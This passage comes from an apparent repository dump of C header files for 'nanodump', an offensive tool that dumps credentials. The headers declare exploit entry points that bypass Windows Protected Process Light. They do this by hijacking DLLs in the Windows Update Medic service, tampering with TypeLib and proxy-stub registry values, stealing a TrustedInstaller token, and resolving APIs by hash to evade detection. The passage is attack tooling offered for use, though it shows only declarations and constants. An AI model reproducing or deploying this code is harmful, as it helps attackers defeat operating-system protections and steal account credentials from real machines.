*StringSid);\ntypedef BOOL(WINAPI* ConvertStringSidToSidW_t) (LPCWSTR StringSid, PSID *Sid);\ntypedef BOOL(WINAPI* LookupAccountSidW_t) (LPCWSTR lpSystemName, PSID Sid, LPWSTR Name, LPDWORD cchName, LPWSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse);\ntypedef BOOL(WINAPI* InitializeSecurityDescriptor_t) (PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision);\ntypedef BOOL(WINAPI* SetSecurityDescriptorDacl_t) (PSECURITY_DESCRIPTOR pSecurityDescriptor, BOOL bDaclPresent, PACL pDacl, BOOL bDaclDefaulted);\ntypedef BOOL(WINAPI* SetKernelObjectSecurity_t) (HANDLE Handle, SECURITY_INFORMATION SecurityInformation, PSECURITY_DESCRIPTOR SecurityDescriptor);\ntypedef BOOL(WINAPI* RevertToSelf_t) (VOID);\ntypedef BOOL(WINAPI* DefineDosDeviceW_t) (DWORD dwFlags, LPCWSTR lpDeviceName, LPCWSTR lpTargetPath);\ntypedef BOOL(WINAPI* CreateProcessAsUserW_t) (HANDLE hToken, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);\ntypedef HANDLE(WINAPI* CreateFileTransactedW_t) (LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile, HANDLE hTransaction, PUSHORT pusMiniVersion, PVOID lpExtendedParameter);\ntypedef DWORD(WINAPI* GetSecurityInfo_t) (HANDLE handle, SE_OBJECT_TYPE ObjectType, SECURITY_INFORMATION SecurityInfo, PSID* ppsidOwner, PSID* ppsidGroup, PACL* ppDacl, PACL* ppSacl, PSECURITY_DESCRIPTOR* ppSecurityDescriptor);\ntypedef UINT(WINAPI* GetSystemDirectoryW_t) (LPWSTR lpBuffer, UINT uSize);\ntypedef BOOL(WINAPI* FindClose_t) (HANDLE hFindFile);\ntypedef HANDLE(WINAPI* FindFirstFileW_t) (LPCWSTR lpFileName, LPWIN32_FIND_DATAW lpFindFileData);\ntypedef BOOL(WINAPI* FindNextFileW_t) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);\n\n#define CopySid_SW2_HASH 0xE9DEE47F\n#define ConvertSidToStringSidW_SW2_HASH 0x2E89B34F\n#define ConvertStringSidToSidW_SW2_HASH 0x9A0697A4\n#define LookupAccountSidW_SW2_HASH 0x093E752B\n#define InitializeSecurityDescriptor_SW2_HASH 0x0388211D\n#define SetSecurityDescriptorDacl_SW2_HASH 0x7BDD4356\n#define SetKernelObjectSecurity_SW2_HASH 0x06AE0E20\n#define RevertToSelf_SW2_HASH 0x93BC9622\n#define DefineDosDeviceW_SW2_HASH 0xCB970704\n#define CreateProcessAsUserW_SW2_HASH 0x33A5532B\n#define CreateFileTransactedW_SW2_HASH 0x968D0D41\n#define GetSecurityInfo_SW2_HASH 0x7D3F55E4\n#define FindClose_SW2_HASH 0xD2503ADD\n#define GetSystemDirectoryW_SW2_HASH 0x008D32E6\n#define FindFirstFileW_SW2_HASH 0x8EDA41FA\n#define FindNextFileW_SW2_HASH 0xBF0C31DB\n\nBOOL run_ppl_dump_exploit(\n    IN unsigned char nanodump_ppl_dump_dll[],\n    IN unsigned int nanodump_ppl_dump_dll_len,\n    IN LPCSTR dump_path,\n    IN BOOL use_valid_sig,\n    IN BOOL duplicate_handle);\n\nBOOL create_protected_process_as_user(\n    IN HANDLE hToken,\n    IN LPWSTR pwszCommandLine,\n    OUT PHANDLE phProcess);\n\nBOOL prepare_ppl_command_line(\n    IN LPCSTR dump_path,\n    IN BOOL use_valid_sig,\n    IN BOOL duplicate_handle,\n    OUT LPWSTR* command_line);\n\nBOOL find_file_for_transaction(\n    IN DWORD dwMinSize,\n    OUT LPWSTR* ppwszFilePath);\n\nBOOL write_payload_dll_transacted(\n    IN unsigned char nanodump_ppl_dump_dll[],\n    IN unsigned int nanodump_ppl_dump_dll_len,\n    OUT PHANDLE pdhFile,\n    OUT PHANDLE phTransaction);\n\nBOOL map_dll(\n    IN unsigned char nanodump_ppl_dump_dll[],\n    IN unsigned int nanodump_ppl_dump_dll_len,\n    IN LPWSTR pwszSectionName,\n    OUT PHANDLE phSection,\n    OUT PHANDLE phTransaction);\n\nBOOL check_ppl_requirements(VOID);\n\nBOOL get_hijackeable_dllname(\n    OUT LPWSTR* ppwszDllName);\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/ppl/ppl_medic.h",
    "content": "#pragma once\n\n#include \"impersonate.h\"\n#include \"token_priv.h\"\n#include \"dinvoke.h\"\n#include \"handle.h\"\n\n#define TH32CS_SNAPTHREAD 0x00000004\n\ntypedef struct tagTHREADENTRY32 {\n  DWORD dwSize;\n  DWORD cntUsage;\n  DWORD th32ThreadID;\n  DWORD th32OwnerProcessID;\n  LONG  tpBasePri;\n  LONG  tpDeltaPri;\n  DWORD dwFlags;\n} THREADENTRY32, *LPTHREADENTRY32;\n\ntypedef struct _FILE_LIST {\n  WCHAR FileName[MAX_PATH + 1];\n  BOOL  Existed;\n  struct _FILE_LIST* Next;\n} FILE_LIST, *PFILE_LIST;\n\ntypedef ULONGLONG(WINAPI* GetTickCount64_t) ();\ntypedef SC_HANDLE(WINAPI* OpenSCManagerW_t)(LPCWSTR lpMachineName, LPCWSTR lpDatabaseName, DWORD dwDesiredAccess);\ntypedef SC_HANDLE(WINAPI* OpenServiceW_t)(SC_HANDLE hSCManager, LPCWSTR lpServiceName, DWORD dwDesiredAccess);\ntypedef BOOL(WINAPI* CloseServiceHandle_t)(SC_HANDLE hSCObject);\ntypedef HRESULT(WINAPI* LoadTypeLib_t)(LPCOLESTR szFile, ITypeLib **pptlib);\ntypedef HRESULT(WINAPI* CreateTypeLib2_t)(SYSKIND syskind, LPCOLESTR szFile, ICreateTypeLib2 **ppctlib);\ntypedef BSTR(WINAPI* SysAllocString_t)(const OLECHAR *psz);\ntypedef VOID(WINAPI* SysFreeString_t)(BSTR bstrString);\ntypedef HANDLE(WINAPI* CreateToolhelp32Snapshot_t)(DWORD dwFlags, DWORD th32ProcessID);\ntypedef BOOL(WINAPI* Thread32First_t)(HANDLE hSnapshot, LPTHREADENTRY32 lpte);\ntypedef BOOL(WINAPI* Thread32Next_t)(HANDLE hSnapshot, LPTHREADENTRY32 lpte);\ntypedef HANDLE(WINAPI* CreateFileTransactedW_t)(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile, HANDLE hTransaction, PUSHORT pusMiniVersion, PVOID lpExtendedParameter);\ntypedef HANDLE(WINAPI* FindFirstFileW_t)(LPCWSTR lpFileName,LPWIN32_FIND_DATAW lpFindFileData);\ntypedef BOOL(WINAPI* FindNextFileW_t)(HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);\ntypedef BOOL(WINAPI* FindClose_t)(HANDLE hFindFile);\ntypedef UINT(WINAPI* GetSystemDirectoryW_t)(LPWSTR lpBuffer, UINT uSize);\ntypedef UINT(WINAPI* GetWindowsDirectoryW_t)(LPWSTR lpBuffer, UINT uSize);\ntypedef DWORD(WINAPI* GetFileAttributesW_t)(LPCWSTR lpFileName);\ntypedef HANDLE(WINAPI* CreateEventW_t)(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCWSTR lpName);\ntypedef BOOL(WINAPI* DeleteFileW_t)(LPCWSTR lpFileName);\ntypedef BOOL(WINAPI* LockFile_t)(HANDLE hFile, DWORD dwFileOffsetLow, DWORD dwFileOffsetHigh, DWORD nNumberOfBytesToLockLow, DWORD nNumberOfBytesToLockHigh);\ntypedef BOOL(WINAPI* UnlockFile_t)(HANDLE hFile, DWORD dwFileOffsetLow, DWORD dwFileOffsetHigh, DWORD nNumberOfBytesToUnlockLow, DWORD nNumberOfBytesToUnlockHigh);\n\n#define GetTickCount64_SW2_HASH           0x5DA9A282\n#define OpenSCManagerW_SW2_HASH           0x10B0D71C\n#define OpenServiceW_SW2_HASH             0x29B5ED2E\n#define CloseServiceHandle_SW2_HASH       0x2D916B4A\n#define LoadTypeLib_SW2_HASH              0x689C94C2\n#define CreateTypeLib2_SW2_HASH           0xE6DF4E21\n#define SysAllocString_SW2_HASH           0x1819D63C\n#define SysFreeString_SW2_HASH            0xFF68F5F9\n#define CreateToolhelp32Snapshot_SW2_HASH 0x0E90CBC0\n#define Thread32First_SW2_HASH            0x7C990674\n#define Thread32Next_SW2_HASH             0x42ED312A\n#define FindFirstFileW_SW2_HASH           0x8EDA41FA\n#define FindNextFileW_SW2_HASH            0xBF0C31DB\n#define FindClose_SW2_HASH                0xD2503ADD\n#define CreateFileTransactedW_SW2_HASH    0x968D0D41\n#define GetSystemDirectoryW_SW2_HASH      0x008D32E6\n#define GetWindowsDirectoryW_SW2_HASH     0xE668D186\n#define GetFileAttributesW_SW2_HASH       0x70EEEEDF\n#define CreateEventW_SW2_HASH             0x1C8569AF\n#define DeleteFileW_SW2_HASH              0x40DA6544\n#define LockFile_SW2_HASH                 0x6D347D89\n#define UnlockFile_SW2_HASH               0x3E214ABE\n\n#define VERSION_MAJOR                           0                                       // Major version of the tool\n#define VERSION_MINOR                           1                                       // Minor version of the tool\n#define PAGE_SIZE                               0x1000                                  // Default size for memory allocations\n#define LARGE_BUFFER_SIZE                       (256 * 1024 * 1024)                     // Default size for large memory allocations\n#define TIMEOUT                                 5000                                    // Default timeout for wait operations\n#define MAX_ATTEMPTS                            1000                                    // Default maximum number of attempts for the memory write exploit\n\n#define SERVICES_ACTIVE_DATABASEA \"ServicesActive\"\n#define SERVICES_ACTIVE_DATABASEW L\"ServicesActive\"\n\n\n#define STR_KNOWNDLLS                           L\"\\\\KnownDlls\"                          // Path of the \\KnownDlls object directory\n#define STR_MOD_NTDLL                           L\"ntdll\"                                // Name of the 'ntdll.dll' module\n#define STR_MOD_COMBASE                         L\"combase\"                              // Name of the 'combase.dll' module\n#define STR_PROC_NTIMPERSONATETHREAD            \"NtImpersonateThread\"                   // Syscall for impersonating a thread's Token\n#define STR_PROC_NTCREATESECTION                \"NtCreateSection\"                       // Syscall for creating a Section object\n#define STR_PROC_LDRGETKNOWNDLLSECTIONHANDLE    \"LdrGetKnownDllSectionHandle\"           // Name of the global variable (in 'ntdll') that holds the value of the \\KnownDlls directory\n#define STR_TI_SVC                              L\"TrustedInstaller\"                     // Name of the TrustedInstaller identity\n#define STR_WAASMEDIC_SVC                       L\"WaaSMedicSvc\"                         // Name of the Windows Update Medic service\n#define STR_WAASMEDIC_CAPSULE                   L\"WaaSMedicCapsule.dll\"                 // Name of the Windows Update Medic service's capsule plugin module\n#define STR_WAASMEDIC_TYPELIB                   L\"WaaSMedicPS.dll\"                      // Name of the Windows Update Medic service's Proxy/Stub module\n#define STR_WAASMEDIC_TYPELIB_DEFAULT           L\"%SystemRoot%\\\\system32\\\\WaaSMedicPS.dll\" // Default path of the Windows Update Medic service's Proxy/Stub module\n#define STR_TASKSCHD_TYPELIB_DEFAULT            L\"TaskSchdPS.dll\"                       // Name of the Task Scheduler's Proxy/Stub module\n#define STR_METHOD_LAUNCHDETECTIONONLY          L\"LaunchDetectionOnly\"                  // Name of the WaaSRemediationAgent's fist method\n#define STR_METHOD_LAUNCHREMEDIATIONONLY        L\"LaunchRemediationOnly\"                // Name of the WaaSRemediationAgent's second method\n#define STR_BASENAMEDOBJECTS                    L\"BaseNamedObjects\"                     // Name of the \\BaseNamedObjets object directory\n#define STR_HIJACKED_DLL_NAME                   L\"WaaSMedicPayload.dll\"                 // Name of a non-existent module\n#define STR_IPC_WAASMEDIC_LOAD_EVENT_NAME       L\"WaaSMedicLoadEvent\"                   // Name of an event used for synchronization between the tool and DLL injected in WaaSMedicSvc\n#define STR_IPC_WERFAULT_LOAD_EVENT_NAME        L\"WerFaultLoadEvent\"                    // Name of an event used for synchronization between the tool and DLL injected in WerFaultSecure.exe\n#define STR_IPC_PIPE_NAME                       L\"PPLmedicPipe\"                         // Name of the named pipe used to communicate with processes in which the payload DLL is injected\n#define STR_DUMMY_PIPE_NAME                     L\"WaaSMedicLogonSessionPipe\"            // Name of the named pipe used to retrieve the initial logon session token of LOCAL SYSTEM\n#define STR_SIGNED_SYSTEM_DLL                   L\"dbghelp.dll\"                          // Name of a legitimate system DLL used to create a fake cached signed DLL\n#define STR_CACHE_SIGNED_DLL_NAME               L\"faultrep.dll\"                         // Name of a DLL to cache sign and hijack in a protected process\n#define STR_SIGNED_EXE_NAME                     L\"WerFaultSecure.exe\"                   // Name of a signed executable we can start with the protection level WinTcb\n\n#define STR_PROTECTION_LEVEL_WINTCB_LIGHT       L\"PsProtectedSignerWinTcb-Light\"        // PPL WinTcb\n#define STR_PROTECTION_LEVEL_WINDOWS            L\"PsProtectedSignerWindows\"             // PP  Windows\n#define STR_PROTECTION_LEVEL_WINDOWS_LIGHT      L\"PsProtectedSignerWindows-Light\"       // PPL Windows\n#define STR_PROTECTION_LEVEL_ANTIMALWARE_LIGHT  L\"PsProtectedSignerAntimalware-Light\"   // PPL Antimalware\n#define STR_PROTECTION_LEVEL_LSA_LIGHT          L\"PsProtectedSignerLsa-Light\"           // PPL Lsa\n#define STR_PROTECTION_LEVEL_WINTCB             L\"PsProtectedSignerWinTcb\"              // PP  WinTcb\n#define STR_PROTECTION_LEVEL_CODEGEN_LIGHT      L\"PsProtectedSignerCodegen-Light\"       // PPL Codegen\n#define STR_PROTECTION_LEVEL_AUTHENTICODE       L\"PsProtectedSignerAuthenticode\"        // PP  Authenticode\n#define STR_PROTECTION_LEVEL_PPL_APP            L\"PsProtectedSignerApp-Light\"           // PPL App\n#define STR_PROTECTION_LEVEL_NONE               L\"None\"                                 // None\n\n#define STR_SE_SIGNING_LEVEL_UNCHECKED          L\"Unchecked\"                            // 0x00000000\n#define STR_SE_SIGNING_LEVEL_UNSIGNED           L\"Unsigned\"                             // 0x00000001\n#define STR_SE_SIGNING_LEVEL_ENTERPRISE         L\"Enterprise\"                           // 0x00000002\n#define STR_SE_SIGNING_LEVEL_DEVELOPER          L\"Developer\"                            // 0x00000003 (Custom1)\n#define STR_SE_SIGNING_LEVEL_AUTHENTICODE       L\"Authenticode\"                         // 0x00000004\n#define STR_SE_SIGNING_LEVEL_CUSTOM_2           L\"Custom2\"                              // 0x00000005\n#define STR_SE_SIGNING_LEVEL_STORE              L\"Store\"                                // 0x00000006\n#define STR_SE_SIGNING_LEVEL_ANTIMALWARE        L\"Antimalware\"                          // 0x00000007 (Custom3)\n#define STR_SE_SIGNING_LEVEL_MICROSOFT          L\"Microsoft\"                            // 0x00000008\n#define STR_SE_SIGNING_LEVEL_CUSTOM_4           L\"Custom4\"                              // 0x00000009\n#define STR_SE_SIGNING_LEVEL_CUSTOM_5           L\"Custom5\"                              // 0x0000000A\n#define STR_SE_SIGNING_LEVEL_DYNAMIC_CODEGEN    L\"DynamicCodegen\"                       // 0x0000000B\n#define STR_SE_SIGNING_LEVEL_WINDOWS            L\"Windows\"                              // 0x0000000C\n#define STR_SE_SIGNING_LEVEL_CUSTOM_7           L\"Custom7\"                              // 0x0000000D\n#define STR_SE_SIGNING_LEVEL_WINDOWS_TCB        L\"WindowsTcb\"                           // 0x0000000E\n#define STR_SE_SIGNING_LEVEL_CUSTOM_6           L\"Custom6\"                              // 0x0000000F\n#define STR_SE_SIGNING_LEVEL_UNKNOWN            L\"Unknown\"\n\n#define ITypeLib_GetLibAttr(This,ppTLibAttr) (This)->lpVtbl->GetLibAttr(This,ppTLibAttr)\n#define ICreateTypeLib2_SetGuid(This,guid) (This)->lpVtbl->SetGuid(This,guid)\n#define ICreateTypeLib2_SetLcid(This,lcid) ( (This)->lpVtbl->SetLcid(This,lcid) ) \n#define ICreateTypeLib2_SetVersion(This,wMajorVerNum,wMinorVerNum) ( (This)->lpVtbl->SetVersion(This,wMajorVerNum,wMinorVerNum) ) \n#define ITypeLib_GetTypeInfoOfGuid(This,guid,ppTinfo) ( (This)->lpVtbl->GetTypeInfoOfGuid(This,guid,ppTinfo) ) \n#define ITypeInfo_GetTypeAttr(This,ppTypeAttr) ( (This)->lpVtbl -> GetTypeAttr(This,ppTypeAttr) ) \n#define ITypeInfo_GetDocumentation(This,memid,pBstrName,pBstrDocString,pdwHelpContext,pBstrHelpFile) ( (This)->lpVtbl -> GetDocumentation(This,memid,pBstrName,pBstrDocString,pdwHelpContext,pBstrHelpFile) ) \n#define ICreateTypeLib2_CreateTypeInfo(This,szName,tkind,ppCTInfo) ( (This)->lpVtbl -> CreateTypeInfo(This,szName,tkind,ppCTInfo) ) \n#define ICreateTypeInfo_SetTypeFlags(This,uTypeFlags) ( (This)->lpVtbl -> SetTypeFlags(This,uTypeFlags) ) \n#define ICreateTypeInfo_SetGuid(This,guid) ( (This)->lpVtbl -> SetGuid(This,guid) ) \n#define ICreateTypeInfo_SetVersion(This,wMajorVerNum,wMinorVerNum) ( (This)->lpVtbl -> SetVersion(This,wMajorVerNum,wMinorVerNum) ) \n#define ITypeInfo_GetRefTypeOfImplType(This,index,pRefType) ( (This)->lpVtbl -> GetRefTypeOfImplType(This,index,pRefType) ) \n#define ITypeInfo_GetRefTypeInfo(This,hRefType,ppTInfo) ( (This)->lpVtbl -> GetRefTypeInfo(This,hRefType,ppTInfo) ) \n#define ICreateTypeInfo_AddRefTypeInfo(This,pTInfo,phRefType) ( (This)->lpVtbl -> AddRefTypeInfo(This,pTInfo,phRefType) ) \n#define ICreateTypeInfo_AddImplType(This,index,hRefType) ( (This)->lpVtbl -> AddImplType(This,index,hRefType) )\n#define ITypeInfo_GetFuncDesc(This,index,ppFuncDesc) ( (This)->lpVtbl -> GetFuncDesc(This,index,ppFuncDesc) ) \n#define ITypeInfo_ReleaseFuncDesc(This,pFuncDesc) ( (This)->lpVtbl -> ReleaseFuncDesc(This,pFuncDesc) ) \n#define ITypeInfo_GetNames(This,memid,rgBstrNames,cMaxNames,pcNames) ( (This)->lpVtbl -> GetNames(This,memid,rgBstrNames,cMaxNames,pcNames) ) \n#define ICreateTypeInfo_AddFuncDesc(This,index,pFuncDesc) ( (This)->lpVtbl -> AddFuncDesc(This,index,pFuncDesc) ) \n#define ICreateTypeInfo_SetFuncAndParamNames(This,index,rgszNames,cNames) ( (This)->lpVtbl -> SetFuncAndParamNames(This,index,rgszNames,cNames) ) \n#define ITypeInfo_ReleaseTypeAttr(This,pTypeAttr) ( (This)->lpVtbl -> ReleaseTypeAttr(This,pTypeAttr) ) \n#define ICreateTypeLib2_SaveAllChanges(This) ( (This)->lpVtbl -> SaveAllChanges(This) ) \n#define ITypeLib_ReleaseTLibAttr(This,pTLibAttr) ( (This)->lpVtbl -> ReleaseTLibAttr(This,pTLibAttr) ) \n\n// WaaSRemediationAgent - 72566E27-1ABB-4EB3-B4F0-EB431CB1CB32\n#define CLSID_WAASREMEDIATION   { 0x72566e27, 0x1abb, 0x4eb3, { 0xb4, 0xf0, 0xeb, 0x43, 0x1c, 0xb1, 0xcb, 0x32 } }\n// IWaaSRemediationEx - B4C1D279-966E-44E9-A9C5-CCAF4A77023D\n#define IID_WAASREMEDIATIONEX   { 0xb4c1d279, 0x966e, 0x44e9, { 0xa9, 0xc5, 0xcc, 0xaf, 0x4a, 0x77, 0x02, 0x3d } }\n// ITaskHandler - 839D7762-5121-4009-9234-4F0D19394F04\n#define IID_TASKHANDLER         { 0x839d7762, 0x5121, 0x4009, { 0x92, 0x34, 0x4f, 0x0d, 0x19, 0x39, 0x4f, 0x04 } }\n\n#define NtGetCurrentProcess() ( ( HANDLE ) ( LONG_PTR ) - 1 )\n#define NtGetCurrentThread() ( ( HANDLE ) ( LONG_PTR ) - 2 )\n\nBOOL run_ppl_medic_exploit(\n    IN unsigned char nanodump_ppl_medic_dll[],\n    IN unsigned int nanodump_ppl_medic_dll_len,\n    IN LPSTR dump_path,\n    IN BOOL use_valid_sig,\n    IN BOOL elevate_handle);\n\nBOOL restart_waa_s_medic_svc();\n\nBOOL find_waa_s_medic_svc_base_named_objects_handle(OUT PHANDLE BaseNamedObjectsHandle);\n\nBOOL find_saa_s_medic_svc_pid(\n    IN LPDWORD Pid);\n\nBOOL write_type_lib(\n    IN LPWSTR TypeLibPath);\n\nBOOL modify_type_lib_registry_value(\n    IN LPWSTR TypeLibPath,\n    IN LPWSTR TypeLibRegValuePath,\n    IN HANDLE hTI,\n    OUT PBOOL StateRegTypeLibModified);\n\nBOOL get_type_lib_orig_path(\n    IN LPWSTR TypeRegValuePath,\n    OUT LPWSTR* TypeLibOrigPath);\n\nBOOL get_trusted_installer_token(\n    OUT PHANDLE hTI);\n\nBOOL map_payload_dll(\n    IN unsigned char nanodump_ppl_medic_dll[],\n    IN unsigned int nanodump_ppl_medic_dll_len,\n    IN LPWSTR HijackedDllName,\n    IN LPWSTR HijackedDllSectionPath,\n    OUT LPWSTR* HollowedDllPath,\n    OUT PHANDLE DllSectionHandle);\n\nBOOL get_proxy_stub_orig_path(\n    IN LPWSTR ProxyStubRegValuePath,\n    OUT LPWSTR* ProxyStubOrigPath);\n\nBOOL create_dummy_dll_file(\n    IN LPWSTR HijackedDllName,\n    OUT PHANDLE DummyDllFileHandle);\n\nBOOL find_proxy_stub_registry_value_path(\n    OUT LPWSTR* ProxyStubRegistryValuePath);\n\nBOOL modify_proxy_stub_registry_value(\n    IN HANDLE hTI,\n    IN LPWSTR ProxyStubRegValuePath,\n    IN LPWSTR HijackedDllName,\n    OUT PBOOL StateRegProxyStubModified);\n\nBOOL get_waa_s_medic_capsule_path(\n    IN LPWSTR* WaaSMedicCapsulePath);\n\nBOOL lock_plugin_dll(\n    IN LPWSTR WaaSMedicCapsulePath,\n    IN OUT PBOOL StatePluginDllLocked,\n    OUT PHANDLE WaaSMedicCapsuleHandle);\n\nBOOL enumerate_temporary_directories(\n    OUT PFILE_LIST* pfile_list);\n\nBOOL is_proxy_stub_dll_loaded(\n    IN HANDLE ProxyStubDllLoadEventHandle);\n\nBOOL cleanup_temp_directories(\n    IN PFILE_LIST TemporaryDiretoriesBefore,\n    IN PFILE_LIST TemporaryDiretoriesAfter);\n\nVOID free_directory_list(\n    IN PFILE_LIST head);\n\nBOOL unlock_plugin_dll(\n    IN HANDLE WaaSMedicCapsuleHandle);\n\nBOOL delete_type_lib(\n    IN LPWSTR TypeLibPath);\n\nBOOL create_load_event(\n    IN LPWSTR event_name,\n    OUT PHANDLE ProxyStubDllLoadEventHandle);\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/ppl/ppl_medic_client.h",
    "content": "#pragma once\n\n//#include <comdef.h>\n#include <oaidl.h>\n#include <objbase.h>\n\n#include \"dinvoke.h\"\n#include \"ppl/ppl_medic.h\"\n#include \"ppl/ppl_utils.h\"\n\n#define CLSID_WAASREMEDIATION   { 0x72566e27, 0x1abb, 0x4eb3, { 0xb4, 0xf0, 0xeb, 0x43, 0x1c, 0xb1, 0xcb, 0x32 } } // WaaSRemediationAgent - 72566E27-1ABB-4EB3-B4F0-EB431CB1CB32\n#define IID_WAASREMEDIATIONEX   { 0xb4c1d279, 0x966e, 0x44e9, { 0xa9, 0xc5, 0xcc, 0xaf, 0x4a, 0x77, 0x02, 0x3d } } // IWaaSRemediationEx - B4C1D279-966E-44E9-A9C5-CCAF4A77023D\n#define IID_TASKHANDLER         { 0x839d7762, 0x5121, 0x4009, { 0x92, 0x34, 0x4f, 0x0d, 0x19, 0x39, 0x4f, 0x04 } } // ITaskHandler - 839D7762-5121-4009-9234-4F0D19394F04\n#define IID_ALL_ZERO            { 0x0, 0x0, 0x0, { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 } }\n\n#define EXPLOIT_STRATEGY_EXTRACT_BYTE_AT_INDEX_0 0\n#define EXPLOIT_STRATEGY_EXTRACT_BYTE_AT_INDEX_1 1\n#define EXPLOIT_STRATEGY_EXTRACT_BYTE_AT_INDEX_2 2\n\ntypedef HRESULT(WINAPI* CoCancelCall_t)(DWORD dwThreadId, ULONG ulTimeout);\ntypedef HRESULT(WINAPI* CoInitializeEx_t)(LPVOID pvReserved, DWORD dwCoInit);\ntypedef HRESULT(WINAPI* CoCreateInstance_t)(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv);\ntypedef HRESULT(WINAPI* CoEnableCallCancellation_t)(LPVOID pReserved);\ntypedef VOID   (WINAPI* CoUninitialize_t)();\ntypedef HRESULT(WINAPI* CoDisableCallCancellation_t)(LPVOID pReserved);\ntypedef HANDLE(WINAPI* CreateThread_t)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);\ntypedef DWORD(WINAPI* WaitForSingleObject_t)(HANDLE hHandle, DWORD dwMilliseconds);\ntypedef BOOL(WINAPI* GetExitCodeThread_t)(HANDLE hThread, LPDWORD lpExitCode);\ntypedef HMODULE(WINAPI* LoadLibraryW_t)(LPCWSTR lpLibFileName);\n\n#define CoCancelCall_SW2_HASH              0x058CEE0B\n#define CoInitializeEx_SW2_HASH            0xEC4E1F34\n#define CoCreateInstance_SW2_HASH          0xEEDC39EE\n#define CoEnableCallCancellation_SW2_HASH  0xCF44EFD2\n#define CoUninitialize_SW2_HASH            0xEF38CFFF\n#define CoDisableCallCancellation_SW2_HASH 0x0E54ED00\n#define CreateThread_SW2_HASH              0x2C912627\n#define WaitForSingleObject_SW2_HASH       0x9E8B4EA7\n#define GetExitCodeThread_SW2_HASH         0xB69934BF\n#define LoadLibraryW_SW2_HASH              0x3EBB5CB0\n\ntypedef struct _IWaaSRemediationExVtbl {\n    /*** IUnknown methods ***/\n    HRESULT (STDMETHODCALLTYPE *QueryInterface)(\n        IDispatch *This,\n        REFIID riid,\n        void **ppvObject);\n\n    ULONG (STDMETHODCALLTYPE *AddRef)(\n        IDispatch *This);\n\n    ULONG (STDMETHODCALLTYPE *Release)(\n        IDispatch *This);\n\n    /*** IDispatch methods ***/\n    HRESULT (STDMETHODCALLTYPE *GetTypeInfoCount)(\n        IDispatch *This,\n        UINT *pctinfo);\n\n    HRESULT (STDMETHODCALLTYPE *GetTypeInfo)(\n        IDispatch *This,\n        UINT iTInfo,\n        LCID lcid,\n        ITypeInfo **ppTInfo);\n\n    HRESULT (STDMETHODCALLTYPE *GetIDsOfNames)(\n        IDispatch *This,\n        REFIID riid,\n        LPOLESTR *rgszNames,\n        UINT cNames,\n        LCID lcid,\n        DISPID *rgDispId);\n\n    HRESULT (STDMETHODCALLTYPE *Invoke)(\n        IDispatch *This,\n        DISPID dispIdMember,\n        REFIID riid,\n        LCID lcid,\n        WORD wFlags,\n        DISPPARAMS *pDispParams,\n        VARIANT *pVarResult,\n        EXCEPINFO *pExcepInfo,\n        UINT *puArgErr);\n\n    /*** IWaaSRemediationEx methods ***/\n    HRESULT (STDMETHODCALLTYPE *LaunchDetectionOnly)(\n        IDispatch *This,\n        BSTR bstrCallerApplicationName,\n        ULONGLONG pbstrPlugins);\n\n    HRESULT (STDMETHODCALLTYPE *LaunchRemediationOnly)(\n        IDispatch *This,\n        BSTR bstrPlugins,\n        BSTR bstrCallerApplicationName,\n        ULONGLONG varResults);\n}IWaaSRemediationExVtbl, *PIWaaSRemediationExVtbl;\n\ntypedef struct _ITaskHandlerVtbl {\n    /*** IUnknown methods ***/\n    HRESULT (STDMETHODCALLTYPE *QueryInterface)(\n        IDispatch *This,\n        REFIID riid,\n        void **ppvObject);\n\n    ULONG (STDMETHODCALLTYPE *AddRef)(\n        IDispatch *This);\n\n    ULONG (STDMETHODCALLTYPE *Release)(\n        IDispatch *This);\n\n    /*** ITaskHandler methods ***/\n    HRESULT (STDMETHODCALLTYPE *Start)(\n        IUnknown *This,\n        IUnknown* pHandlerServices,\n        BSTR data);\n\n    HRESULT (STDMETHODCALLTYPE *Stop)(\n        IUnknown *This,\n        HRESULT* pRetCode);\n\n    HRESULT (STDMETHODCALLTYPE *Pause)(\n        IUnknown *This);\n\n    HRESULT (STDMETHODCALLTYPE *Resume)(\n        IUnknown *This);\n}ITaskHandlerVtbl, *PITaskHandlerVtbl;\n\ntypedef struct _IWaaSRemediationEx {\n    IWaaSRemediationExVtbl* lpVtbl;\n} IWaaSRemediationEx, *PIWaaSRemediationEx;\n\ntypedef struct _ITaskHandler {\n    ITaskHandlerVtbl* lpVtbl;\n} ITaskHandler, *PITaskHandler;\n\ntypedef struct _WRITE_REMOTE_KNOWN_DLL_HANDLE_PARAM\n{\n    ULONG32 Strategy;\n    IWaaSRemediationEx* WaaSRemediationEx;\n    ULONG_PTR WriteAtLaunchDetectionOnly;\n    ULONG_PTR WriteAtLaunchRemediationOnly;\n    DISPID DispIdLaunchDetectionOnly;\n    DISPID DispIdLaunchRemediationOnly;\n    BSTR CallerApplicationName;\n    BSTR Plugins;\n} WRITE_REMOTE_KNOWN_DLL_HANDLE_PARAM, * PWRITE_REMOTE_KNOWN_DLL_HANDLE_PARAM;\n\ntypedef struct _WRITE_REMOTE_DLL_SEARCH_PATH_FLAG_PARAM\n{\n    IWaaSRemediationEx* WaaSRemediationEx;\n    ULONG_PTR WriteAt;\n    